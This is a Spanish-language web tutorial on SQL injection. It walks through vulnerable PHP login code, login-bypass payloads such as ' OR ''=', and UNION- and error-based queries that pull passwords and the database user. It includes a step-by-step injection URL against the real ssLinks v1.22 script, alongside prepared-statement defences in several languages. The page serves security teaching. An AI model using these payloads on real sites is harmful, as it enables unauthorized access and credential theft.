Bugs y Exploits‎ > ‎Nivel Web‎ > ‎

Inyección SQL

Inyección SQL

Inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación. 

Para poder explotar con exito una falla de inyección SQL es necesario que estes familiarizado con anterioridad el lenguaje.

información sobre su implementación en PHP se puede encontrar en 
http://php.net/mysql
http://dev.mysql.com/


Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas.

Ejemplo 1


$us=$_POST['usuario'];
$pass=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";

-- código largo cortado --


if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}

Este es el tipico sistema de verificacion de contraseñas..
utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), asi que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false.


omo podemos hacer que no devuelva false??
  • Con el password correcto
  • Haciendo trampa

Logicamente, no usaremos la primera opción.

Haciendo trampa.. se haria algo asi:
esta es la petición que solo nos deja pasar si sabesmos el pass..


SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'


ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario Pegaso, y de password pjps.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibira sera:


SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'


y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false 

Ahora, con un poco de creatividad:
de usuario:    Pegaso
de password: ' OR ''='

la sentencia SQL recibira:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''

nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso.

Otros posibles valores que devuelven true son:
  • usuario: Pegaso AND /*   password: */ ''='
  • usuario: ' OR 1=1 //

Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta encriptado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo



Ejemplo 2



$us=$_POST[‘usuario’];
$pas=$_POST[‘pass’];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";

-- código largo cortado --


$resp = mysql_query($sql) or die(mysql_error());
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password $resp es incorrecto";
}
}



Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable?
SI, ¿porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada.

Ahora, queremos sacar el password.. pero.. ¿como?

Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.
  • Necesitas meter la misma cantidad de valores que tiene la tabla.
  • Tener un informe de los errores que provocaremos en la instrucción

Bien ahora empezemos.
la instrucción a modificar es la siguiente:


SELECT password FROM usuarios WHERE user = '$us'


como ejemplo, si colocalmos de usuario: zanahoria
la instrucción que llega seria:

SELECT password FROM usuarios WHERE user = 'zanahoria'

Otra vez necesitamos creatividad
regresemos al UNION.

UNION necesita que el numero de columnas sea igual, sino sacara un error.

y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.

el UNION se usa de esta forma:

usuario: ' AND 0 UNION SELECT 1 AND 'l'='
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

para lo cual SQL nos respondera:


The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''


Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)

Quedaria algo asi:

' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria

la sentencia seria esta:

SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria'

que nos da como error:

Syntax error converting the varchar value 'naranja' to a column of data type int.

donde el password es naranja.



Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).

el siguiente es un ejemplo, con la misma sentencia
usuario:
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='


y nos regresa:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:

' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='

y eso nos regresa:

root@localhost


esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.

Ejercicio

¿Que puedes hacer con esta sentencia?
¡
$sql="UPDATE clicks set dat=now(), aas=aas+1 where  ref='$HTTPREFFERER'";
$resp = mysql_query($sql) or die(mysql_error());

Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica.


Fuente Original: http://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.html
Autorsirdarckcat

Ejemplo 3

La inyección SQL es fácil de evitar en la mayoría de los lenguajes de programación que desarrollan aplicaciones web. En Perl DBI, el
método
DBI::quote filtra los caracteres especiales (asumiendo que la variable $sql contiene una referencia a un objeto DBI)

$query = $sql->prepare 
(
"SELECT * FROM usuarios WHERE nombre = "
.
$sql->quote($nombre_usuario)
);

O también se puede usar la característica placeholder (con comillado automático) como sigue:

$query = $sql->prepare("SELECT * FROM usuario WHERE nombre = ?");
$query->execute($nombre_usuario);


En PHP, hay diferentes funciones que nos pueden servir de ayuda para usar con distintos sistemas
de gestión de bases de datos. Para MySQL, la función a usar es mysql_real_escape_string:

$query_result = mysql_query
(
"SELECT * FROM usuarios WHERE nombre = \""
.
mysql_real_escape_string($nombre_usuario)
.
"\""
);


En el Java, tenemos que usar la clase PreparedStatement :

En vez de

Connection con = (acquire Connection)
Statement stmt = con.createStatement();
ResultSet rset = stmt.executeQuery("SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';");


hay que usar lo siguiente

Connection con = (acquire Connection)
PreparedStatement pstmt = con.prepareStatement("SELECT * FROM usuarios WHERE nombre = ?");
pstmt.setString(1, nombreUsuario);
ResultSet rset = pstmt.executeQuery();



En C#, de la plataforma .NET (o su alternativa libre Mono), tenemos ADO.NET SqlCommand (para Microsoft SQL Server) or OracleCommand (para servidores de bases de datos Oracle). El ejemplo de abajo muestra cómo prevenir los ataques de inyección de código usando el objeto SqlCommand. El código para ADO.NET se programa de forma similar, pero puede variar levemente según la implementación específica de cada proveedor.

En vez de

using( SqlConnection con = (acquire connection) ) {
con. Open();
using( SqlCommand cmd = new SqlCommand("SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "'", con) ) {
using( SqlDataReader rdr = cmd.ExecuteReader() ){
...
}
}
}


hay que usar lo siguiente

using( SqlConnection con = (acquire connection) ) {
con. Open();
using( SqlCommand cmd = new SqlCommand("SELECT * FROM usuarios WHERE nombre = @nombreUsuario", con) ) {

cmd.Parameters.AddWithValue("@nombreUsuario", nombreUsuario);

using( SqlDataReader rdr = cmd.ExecuteReader() ){
...
}
}
}

Blind SQL injection

Tipo de inyección SQL que es utilizado cuando una página web por motivos de seguridad no muestra mensajes de error de la base de datos al no haber un resultado correcto mostrándose siempre el mismo contenido (solo habrá respuesta si el resultado es correcto). Sentencias del tipo "Or 1=1" o "having 1=1" ofrecen respuestas siempre correctas por lo que son usadas como comprobación. El problema para la seguridad de la página está en que esta técnica es utilizada en combinación de diccionarios o fuerza bruta para la búsqueda carácter por carácter de una contraseña, un nombre de un usuario, un número de teléfono o cualquier otra información que albergue la base de datos atacada; para ello se utiliza código SQL específico que "va probando" cada carácter consiguiendo resultado positivo cuando hay una coincidencia. De esta manera se puede saber por ejemplo que una contraseña comienza por "F...", luego "Fi...", luego "Fir..." hasta dar con la palabra completa.

Existen programas que automatizan éste proceso de "adivinación" letra por letra del resultado de la consulta SQL que un intruso podría enviar.

Atacando a una aplicación real.

El como y el porque de las inyecciones SQL.

Prefacio


Este artículo tiene como objetivo, hacer saber al lector, que es lo que pasa exactamente dentro de la aplicación cuando hacemos una inyección SQL. De esta manera, pretendo evitar que el lector haga simples copy&paste para atacar a una web y que en algún momento tenga los conocimientos necesarios para poder modificar la sentencia a su antojo.

El programa que atacaremos [ssLinks v1.22 - http://scripts.incutio.com/sslinks/] contiene una vulnerabilidad encontrada por SirDarckCat el día 4 de septiembre del 2006.

Nivel

Principiante.

Herramientas necesarias


  • Bloc de notas o editor de texto.
  • Servidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
  • ssLinks v1.22 - http://scripts.incutio.com/sslinks/sslinks-v122.zip
  • Ganas de aprender  

Montando el escenario


Primero extraemos todos los ficheros del archivo zip dentro de nuestro servidor local o los subimos a nuestra cuenta de hosting. Lo mismo da, lo importante es poder ejecutar el programa desde un navegador web.

Una vez extraídos o subidos, abrimos desde el navegador el archivo install.php.

Aquí debemos introducir nuestros datos de la base de datos. Si teneis una cuenta de hosting, estos datos os habrán llegado por mail o los tendreís en vuestro panel de administración. Si, en cambio, teneis un servidor local, estos datos los tendríais que saber 

Nota: Si por cualquier razón, a alguien no le funciona el install.php, aquí os dejo los 3 pasos que tendreis que hacer a mano.

Ejecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin.

CREATE TABLE sslinkcats (
   lcat_id int(11) NOT NULL auto_increment,
   lcat_cat int(11) DEFAULT '0' NOT NULL,
   lcat_name varchar(100) NOT NULL,
   lcat_header text,
   lcat_ranking int(11),
   lcat_numlinks int(11) DEFAULT '0' NOT NULL,
   PRIMARY KEY (lcat_id)
)


---------------------------------------------------------------------------------


CREATE TABLE sslinks (
   link_id int(11) NOT NULL auto_increment,
   link_cat int(11) DEFAULT '0' NOT NULL,
   link_name varchar(100) NOT NULL,
   link_url varchar(255) NOT NULL,
   link_desc text,
   link_hits int(11) DEFAULT '0' NOT NULL,
   link_totalrate int(11),
   link_numvotes int(11),
   link_dateadd int(11),
   link_addemail varchar(255),
   link_addname varchar(100),
   link_validated char(3),
   link_recommended char(3) DEFAULT 'no' NOT NULL,
   PRIMARY KEY (link_id)
)

Y por último, cambiar estas líneas del archivo global.inc.php:


// mySQL database Host / Name / Username / Password

$db_host = "localhost"; // Your mySQL server host address
$db_name = "sslinks"; // The name of the database to use
$db_user = "username"; // Your mySQL username
$db_pass = "password"; // Your mySQL password

Más adelante nos pedirá el nombre de usuario y el password que queremos para ssLinks. Si no habeís usado el instalador, dejadlo, porque al ser una aplicación de prueba, dejaremos estos dos valores por defecto.

Una vez instalado todo, podemos borrar tranquilamente el archivo install.php y entramos en el links.php.
Veremos algo así:







Si vamos a Admin Login nos salen unos valores por defecto, los aceptamos si no hemos usado el instalador, y si no, introducimos los que pusimos.

Igualmente estos datos se pueden encontrar en el archivo global.inc.php


// Admin username / password for the script

$admin_user = "Admin"; // This is the username used to log in as an admin
$admin_pass = "sslinks"; // This is the password used to log in as an admin


Una vez loggeados como administradores, veremos un panel para agregar categorías y links. Nosotros agregaremos 3 links diferentes para hacer las pruebas.








Ok. Perfecto. Logout y tenemos el escenario montado 

Antes de empezar hacer varios clicks sobre el primer link que hayais puesto (ID=1), para ver luego el ataque final. (lo veremos más adelante)



El ataque


Empezemos lo divertido 

Antes que nada miremos lo primero de todo. Los links, no redireccionan a la página directamente sino que pasan por la misma página otra vez con un argumento "go".







Lo veis? Este link nos envia a links.php?go=ID donde cada link tiene su ID. Así mismo, es de imaginar la estructura del programa:

Link a la página -> Llegamos al mismo sitio pero con el argumento go -> Nos lleva a la página que pertenece el ID.

De esta manera, el programa puede llevar unas estadísticas sobre los clicks que se han hecho al link en questión.

Pues bien, miremos primero de todo si la variable go es vulnerable.

Abrimos el archivo links.php:



<?php
/***********************************************************
*
* ssLinks v1.1 - a PHP / mySQL links management system
* (c) Simon Willison 2001
* For more information, visit www.tfc-central.co.uk/sslinks/
*
***********************************************************/

// See global.inc.php for changes since version 1.0.

include("global.inc.php"); //Change this if global.inc.php is in a different directory

// You should not need to change anything below this line.

$admin = is_admin();
$return = numlinks_array(); // Build array of number of links in each category
$numlinks = $return[0];
$numlinkstree = $return[1];

if ((!$cat) && (!$go) && (!$action))
$cat = 0;

if (isset($go))
{
jump_to($go);
}

if ($action == "login")
{
if ($username)
login($username, $password);
}

...

?>







Ahora toca pensar como una máquina

Ok, como podeis ver, en la línea 24, pone if(isset($go)). Expliquemos un poco esto. La función isset() devuelve true cuando la variable que le pasamos como argumento esta declarada. Como hemos visto que el programa pasaba como argumento la variable "go", es evidente que la función isset devolverá, en este caso, true. Con lo que nos queda que la variable $go, será enviada a una función jump_to().

Si os fijais, la función jump_to() no está declarada en links.php, por lo tanto ha tenido que ser incluida, cosa que podemos ver en la línea 12...


include("global.inc.php");


Pues nos toca buscar esta función en tal archivo.

Abrimos el archivo global.inc.php y... sorpresa!

En la línea 543 encontramos la función!


<?php
function jump_to($id)
{
// redirect user to URL of $id and increment the hit counter
global $db_host, $db_name, $db_user, $db_pass;
$cnx = mysql_connect($db_host, $db_user, $db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name, $cnx)
or custom_die("Unable to select database.");
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num = mysql_num_rows($result);
if ($num == 0)
{
header("Location: links.php");
exit;
}
while ($row = mysql_fetch_array($result))
{
$hits = $row["link_hits"];
$url = $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
header("Location: $url");
exit;
}
?>






Y una breve explicación de lo que hace (redirect user to URL of $id and increment the hit counter).

Excelente! Es justo lo que habíamos deducido: la variable go llega al archivo, se consulta a la base de datos que URL esta asociada a tal ID, y nos redirije a ella, despues de haber incrementando el contador.

Nota: Ahora en la función, la variable $go cambia de nombre por la cabecera de la función y pasa a llamarse $id. Esto no nos afectará...

Impresionante! Hemos encontrado nuestro primer bug!! Lo veís todos? Si, si...


$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");


La variable $id se pasa como sentencia SQL sin estar limpiada!!

Ok, antes de continuar, haremos tres cosas básicas. Supondremos que en nuestro servidor tenemos las magic_quotes desactivadas, por que en caso contrario sería imposible inyectar código.

La segunda será imprimir en pantalla la sentencia SQL, y la tercera anular los header, para que no nos redirija a ningún lado  (de momento)

Para ello, modificar la función de tal manera que quede así:




<?php
function jump_to($id)
{
        $id = stripslashes($id);
// redirect user to URL of $id and increment the hit counter
global $db_host, $db_name, $db_user, $db_pass;
$cnx = mysql_connect($db_host, $db_user, $db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name, $cnx)
or custom_die("Unable to select database.");
echo "SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'";
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num = mysql_num_rows($result);
if ($num == 0)
{
//header("Location: links.php");
exit;
}
while ($row = mysql_fetch_array($result))
{
$hits = $row["link_hits"];
$url = $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
//header("Location: $url");
exit;
}
?>







Lo que hemos hecho es lo siguiente. Con la función stripslashes() evitamos el efecto de las magic_quotes sobre la variable $id y más adelante imprimimos simplemente la consulta SQL antes de enviarla al MySQL. Además comentamos los headers para poder ver el efecto que tiene nuestro ataque, porque sino nos redirije.

Perfecto... Empezemos a hacer pruebas!

En nuestro navegador escribamos...


http://localhost/sslinks-v122/links.php?go=ertai r00lz XD


Y que sale?


SELECT link_url, link_hits FROM sslinks WHERE link_id = 'ertai r00lz XD'


Esto es la consulta SQL que hemos enviado. Como veis la variable no ha sido limpiada. Y aquí esta el bug.

Que significa no limpiar la variable? Pues en este caso el programador esperaba recibir un número, pero nosotros como "curiosos" le enviamos una cadena de texto y el programa no se queja. Nuestro objetivo es enviar una cadena de texto que sea capaz de sacar datos de la base de datos. Y en eso consisten las inyecciones SQL.






Un poco de SQL


Podría escribir páginas enteras hablando de SQL pero se que aburre y la gente quiere algo práctico.

Pues bien, (casi) toda inyección comenza con un UNION. Porque? Porque nosotros sabemos que podemos insertar código a traves de la variable go. El resto de la instrucción SQL no es modificable, por lo tanto, tendremos que adaptarnos nosotros a ella. Por eso el uso de UNION. Union "concatena" por así decir los resultados de diferentes instrucciones SQL.

Supongamos que nuestra aplicación, funcionando normalmente, esta preparada para UN SOLO RESULTADO. Porqué? Porque en condiciones normales, solo hay un ID, que devuelve la URL a la cual queremos ir (el link) y NO mas resultados.

Por eso, nosotros tendremos que hacer que la SQL original (la primera) NO de resultados (-¡pero tampoco error!-) y que la nuestra inyectada devuelve UN resultado y así en el código todo cuadrara.

Además, el número de campos para seleccionar en nuestra consulta inyectada debe ser el mismo, ya que el resource devuelto (el resultado) ha de ser "quadrado".










P: Como hacemos que la consulta primera no de resultado ni error?
R: Pues cojemos un ID imposible, como -1 (menos uno)

P: Como cojemos nuestros datos?
R: Pues para mostrar como funciona esto, cojeremos como ejemplo los hits del ID=1.

P: Pero si los hits del ID=1 es solo un campo, y necesitamos dos.
R: Cierto, así que usaremos un pequeño truco  :P

Manos a la obra:


SELECT link_url, link_hits FROM sslinks WHERE link_id = 'AQUI PODEMOS INYECTAR'


Ok, hacemos el UNION SELECT y cojemos el campo hits de la misma tabla.


SELECT link_url, link_hits FROM sslinks WHERE link_id = '-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1'


Ahora esta claro, no? Le decimos que coja los datos del -1, lo cual devolverá un resultado vacío porque no existe el -1, y pasara al UNION... si os fijais, el primer campo link_hits corresponde al link_url de la primera, para que nos redirija a una URL que no será ni nada mas ni nada menos que los hits del id = 1. El segundo campo, cojemos otra vez los hits, para cuadrar con la primera instrucción SQL.

Por lo tanto, si extraemos la SQL inyectada del trozo inyectable de la primera queda que lo que hemos de poner entre los '' es lo siguiente:


-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1


Si os fijais bien, faltan la primera comilla del -1 y la ultima del 1, eso es para que cuadre con las que hay en la sentencia SQL original.

Si todo va bien, nos intentara llevar a una URL que resultara ser el número de visitas del ID=1. Para eso, quitad las // (doble barras) que habíamos puesto delante de los dos header() dentro de la función y guardad, el resto de modificaciones dejadlas. Los headers harán que nos redirijan.

Por lo tanto, escribid en vuestro navegador:


http://RUTA_DONDE_TENGAIS_SSLINKS/links.php?go=-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1


Y como veis nos intenta llevar a:


http://RUTA_DONDE_TENGAIS_SSLINKS/numero


... donde numero es el numero de visitas del link con ID=1.

Podeis hacer más visitas reales y luego volver a inyectar y vereis como el numero sube, porque son los hits.

Ahora esto no tiene mucha lógica, pero imaginaos si en vez de sacar el numero de hits, nos redijiera al hash del password del admin. La cosa cambia, no? jeje.

Pues eso es todo. Espero poder tener tiempo para ir modificando todo y hacerlo más claro, aunque creo que si os poneis lo acabareis sacando.

Recordad que podeis postear cualquier duda, pero intentad antes resolverla por vuestra cuenta. Si habeis leido el texto bien, os habreis dado cuenta de que el hacking es también astucia e imaginación, saber encontrar el truco donde nadie lo habría pensado. Por eso no es nada mecánico, y la única manera de poder sacar las cosas solo, es intentarlo e intentarlo e intentarlo, hasta agotar las ideas y luego preguntar.

Autor: Ertai
Fuente Original: http://foro.elhacker.net/bugs_y_exploits/sql_injection_para_principiantes_ejemplos_en_aplicaciones_reales-t142203.0.html 
ċ
hackme.zip
(1k)
sirdarckcat elhacker.net,
20 jun. 2008 11:34
Comments